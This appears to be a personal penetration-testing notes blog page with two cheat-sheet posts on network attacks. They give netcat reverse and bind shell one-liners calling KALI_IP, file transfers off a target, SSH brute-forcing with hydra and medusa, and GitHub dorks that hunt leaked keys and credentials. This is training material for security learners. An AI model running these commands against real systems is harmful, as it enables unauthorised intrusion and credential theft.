Mostafa Ashraf

1-Web_PenTesting
- Basics
- Vulnerabilities
  - CSRF
  - IDOR
  - Insecure Deserlization
  - OPEN_REDIRECT
  - SQLI
  - SSRF
  - XSS
  - XXE
2-Network_PenTesting
- Basics-1
- Basics-2
3-API_PenTesting
4-Machines
5-Labs
- BePractical
  - Lab1
  - Lab2
  - Lab3
  - Lab4
  - Lab6
- RootMe
  - Sqli_Numeric
  - Sqli_Routed
6-Bug_Bounty
Home

Contact

Copyright © 2024 | Yankos

Home > 2-Network_PenTesting

Now Loading ...

2-Network_PenTesting

Network Penetration Testing Fundamental 2
Description File Transfer (Linux) Netcat From target to my machine In my machine: nc -nvlp 8082 > backup In the target: nc [ip my machine] 8082 < /usr/local/bin/backup From my machine to target In the target: nc -nvlp 8082 > backup In my machine: nc [ip my machine] 8082 < /usr/local/bin/backup Wget From my machine to target In my machine: python3 -m http.server port In the target: wget http://my_ip:port/test.py Curl From my machine to target In my machine: python3 -m http.server port In the target: curl http://my_ip:port/test.py -o test.py Base64 From my machine to target In my machine: cat ‘file.zip' | base64 In the target: cat base64.txt | base64 -d > file.zip Shells Reverse Shell Basic Reverse Shell Start listener on Kali nc -lvnp 9000 Send reverse shell from victim back to Kali nc KALI_IP 9000 -e /bin/sh Bind Shell Basic Bind Shell Start bind shell on victim machine nc -lvnp 9000 -e /bin/sh Connect to bind shell from Kali nc -nv VICTIM_IP 9000 Web Shell Depend on: Language Server On Kali: /usr/share/webshells Network Services SSH (Secure Shell) Basic Usage (login) ssh username@10.10.10.10 Generating a Key Pair ssh-keygen Key-based Login ssh -i keyfile username@10.10.10.10 path to private key file /home/username/.ssh/id_rsa path to public key file /home/username/.ssh/id_rsa.pub /home/username/.ssh/authorized_keys Password Cracking crackmapexec ssh 10.10.10.10 -u small_user.txt -p pass.txt medusa -h 10.10.10.10 -U small_user.txt -P pass.txt -M ssh hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ssh FTP (File Transfer Protocol) Basic Usage (login) ftp 10.10.10.10 Commands ftp> ls ftp> cd foldername ftp> get filename ftp> put filename Using Binary Mode to Avoid Uploading Corrupted Files ftp> binary Default Credentials Username: Anonymous Password: ftp —
2-Network_PenTesting · 2024-08-01
Network Penetration Testing Fundamental 1
Description Enumeration (Passive) Google Dorks filetype: - looks for file types index of - directory listings info: - contains Google’s information about the page intitle: - string in title inurl: - string in URL link: - finds linked pages related: - finds similar pages site: - finds pages specific to that site Shodan Top 40 Shodan Dorks to find sensitive information in 2023 (securitytrails.com) GitHub GitHub Dorks (securitytrails.com) Dorks: filename:.npmrc _auth filename:.dockercfg auth extension:pem private extension:ppk private filename:id_rsa or filename:id_dsa extension:sql mysql dump extension:sql mysql dump password filename:credentials aws_access_key_id filename:.s3cfg filename:wp-config.php filename:.htpasswd filename:.env DB_USERNAME NOT homestead filename:.env MAIL_HOST=smtp.gmail.com filename:.git-credentials 4. The Harvester theHarvester -d uber.com -b all theHarvester -d microsoft.com -l 200 -b baidu -d → identify domain -l → number of results -b → search engine Nslookup Records: type=A → IP address of a given domain. type=AAAA → the domain’s IPv6 address. type=NS → show name servers of domain. type=MX → contain names of the servers that handle the email server of domain. Other Tools: host google.com dig yahoo.com Enumeration (Active) Host Discovery Netdiscover netdiscover -r 10.10.10.0/24 Ping Sweep Bash One-liner: for i in $(seq 254); do ping 172.16.1.$i -c1 -W1 & done | grep from Windows Ping Sweep: for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up. Nmap Normal Scan (all ports) nmap -p- 10.10.10.10 Quick Scan nmap -p- --min-rate=10000 -T4 10.10.10.10 Advanced Scan (Using version detection & default scripts on open ports) nmap -p 22,80,443 -A -sV -sC --script vuln 10.10.10.10 -o out.txt Wireshark Filters http.request → Displays HTTP GET requests http.request == POST → Displays HTTP POST requests http contains google.com → Shows HTTP packets that have the google.com domain name http.request.method == GET tcp contains string → Displays TCP segments that contain the word "string" ip.src==*IP-address* and ip.dst==*IP-address* → Traffic from which port to which port ip.addr == 172.17.15.12 && tcp.port == 23 → Displays telnet packets containing that IP ---
2-Network_PenTesting · 2024-08-01

Touch background to close